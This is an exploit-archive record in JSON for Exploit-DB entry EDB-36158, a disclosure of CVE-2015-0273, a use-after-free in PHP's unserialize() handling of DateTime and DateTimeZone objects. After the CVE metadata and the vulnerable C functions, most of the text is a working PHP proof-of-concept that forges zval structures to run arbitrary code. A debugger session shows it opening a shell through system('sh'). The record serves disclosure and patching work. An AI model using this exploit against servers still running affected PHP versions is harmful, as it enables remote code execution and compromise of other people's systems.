{"exploit":{"id":"EDB-36158","name":"PHP < 5.4.38 / < 5.5.22 / < 5.6.6 - Use-After-Free (UAF)","description":"PHP < 5.4.38 / < 5.5.22 / < 5.6.6 - Use-After-Free (UAF)","cves":["CVE-2015-0273"],"author":"Taoguang Chen","published":"2015-02-23","platform":"php","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/36158","path":"exploits/php/dos/36158.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-36158.txt","vulnerabilities":[{"id":"CVE-2015-0273","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple use-after-free vulnerabilities in ext/date/php_date.c in PHP before 5.4.38, 5.5.x before 5.5.22, and 5.6.x before 5.6.6 allow remote attackers to execute arbitrary code via crafted serialized input containing a (1) R or (2) r type specifier in (a) DateTimeZone data handled by the php_date_timezone_initialize_from_hash function or (b) DateTime data handled by the php_date_initialize_from_hash function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-0273","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-0273"},"updatedAt":"2024-08-06T04:03:10.916Z","retrievedAt":"2026-11-27T17:09:36.295Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-36158.png?v=2","url":"https://exploitbin.com/exploits/EDB-36158","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-36158/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-36158/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]\n\nTaoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:\n2015.1.29 - Release Date: 2015.2.20\n\nA use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone/DateInterval/DatePeriod objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.\n\nAffected Versions\n------------\nAffected is PHP 5.6 < 5.6.6\nAffected is PHP 5.5 < 5.5.22\nAffected is PHP 5.4 < 5.4.38\n\nCredits\n------------\nThis vulnerability was disclosed by Taoguang Chen.\n\nDescription\n------------\n\nstatic int php_date_initialize_from_hash(php_date_obj **dateobj,\nHashTable *myht)\n{\n\tzval             *z_date;\n\tzval             *z_timezone;\n\tzval             *z_timezone_type;\n\tzval              tmp_obj;\n\ttimelib_tzinfo   *tzi;\n\tphp_timezone_obj *tzobj;\n\n\tz_date = zend_hash_str_find(myht, \"date\", sizeof(\"data\")-1);\n\tif (z_date) {\n\t\tconvert_to_string(z_date);\n\t\tz_timezone_type = zend_hash_str_find(myht, \"timezone_type\",\nsizeof(\"timezone_type\")-1);\n\t\tif (z_timezone_type) {\n\t\t\tconvert_to_long(z_timezone_type);\n\t\t\tz_timezone = zend_hash_str_find(myht, \"timezone\", sizeof(\"timezone\")-1);\n\t\t\tif (z_timezone) {\n\t\t\t\tconvert_to_string(z_timezone);\n\n...\n\nstatic int php_date_timezone_initialize_from_hash(zval **return_value,\nphp_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)\n{\n\tzval            **z_timezone = NULL;\n\tzval            **z_timezone_type = NULL;\n\n\tif (zend_hash_find(myht, \"timezone_type\", 14, (void**)\n&z_timezone_type) == SUCCESS) {\n\t\tif (zend_hash_find(myht, \"timezone\", 9, (void**) &z_timezone) == SUCCESS) {\n\t\t\tconvert_to_long(*z_timezone_type);\n\t\t\tif (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone)\nTSRMLS_CC)) {\n\t\t\t\treturn SUCCESS;\n\t\t\t}\n\t\t}\n\t}\n\treturn FAILURE;\n}\n\nThe convert_to_long() leads to the ZVAL and all its children is freed\nfrom memory. However the unserialize() code will still allow to use R:\nor r: to set references to that already freed memory. There is a use\nafter free vulnerability, and allows to execute arbitrary code.\n\nProof of Concept Exploit\n------------\nThe PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.\n\n<?php\n\n$f = $argv[1];\n$c = $argv[2];\n\n$fakezval1 = ptr2str(0x100b83008);\n$fakezval1 .= ptr2str(0x8);\n$fakezval1 .= \"\\x00\\x00\\x00\\x00\";\n$fakezval1 .= \"\\x06\";\n$fakezval1 .= \"\\x00\";\n$fakezval1 .= \"\\x00\\x00\";\n\n$data1 = 'a:3:{i:0;O:12:\"DateTimeZone\":2:{s:13:\"timezone_type\";a:1:{i:0;i:1;}s:8:\"timezone\";s:3:\"UTC\";}i:1;s:'.strlen($fakezval1).':\"'.$fakezval1.'\";i:2;a:1:{i:0;R:4;}}';\n\n$x = unserialize($data1);\n$y = $x[2];\n\n// zend_eval_string()'s address\n$y[0][0] = \"\\x6d\";\n$y[0][1] = \"\\x1e\";\n$y[0][2] = \"\\x35\";\n$y[0][3] = \"\\x00\";\n$y[0][4] = \"\\x01\";\n$y[0][5] = \"\\x00\";\n$y[0][6] = \"\\x00\";\n$y[0][7] = \"\\x00\";\n\n$fakezval2 = ptr2str(0x3b296324286624); // $f($c);\n$fakezval2 .= ptr2str(0x100b83000);\n$fakezval2 .= \"\\x00\\x00\\x00\\x00\";\n$fakezval2 .= \"\\x05\";\n$fakezval2 .= \"\\x00\";\n$fakezval2 .= \"\\x00\\x00\";\n\n$data2 = 'a:3:{i:0;O:12:\"DateTimeZone\":2:{s:13:\"timezone_type\";a:1:{i:0;i:1;}s:8:\"timezone\";s:3:\"UTC\";}i:1;s:'.strlen($fakezval2).':\"'.$fakezval2.'\";i:2;O:12:\"DateTimeZone\":2:{s:13:\"timezone_type\";a:1:{i:0;R:4;}s:8:\"timezone\";s:3:\"UTC\";}}';\n\n$z = unserialize($data2);\n\nfunction ptr2str($ptr)\n{\n\t$out = \"\";\n\tfor ($i=0; $i<8; $i++) {\n\t\t$out .= chr($ptr & 0xff);\n\t\t$ptr >>= 8;\n\t}\n\treturn $out;\n}\n\n?>\n\nTest the PoC on the command line, then any PHP code can be executed:\n\n$ lldb php\n(lldb) target create \"php\"\nCurrent executable set to 'php' (x86_64).\n(lldb) run uafpoc.php assert \"system\\('sh'\\)==exit\\(\\)\"\nProcess 13472 launched: '/usr/bin/php' (x86_64)\nsh: no job control in this shell\nsh-3.2$ php -v\nPHP 5.5.14 (cli) (built: Sep  9 2014 19:09:25)\nCopyright (c) 1997-2014 The PHP Group\nZend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies\nsh-3.2$ exit\nexit\nProcess 13472 exited with status = 0 (0x00000000)\n(lldb)","sha256":"d078f554fb4e70fd6949583370b3b6bb888234bb7e6724e9d82d6091cf8fb3bb","bytes":3933,"fetchedAt":"2026-11-27T17:09:36.080Z","encoding":"utf-8 (display only; download retains original bytes)"}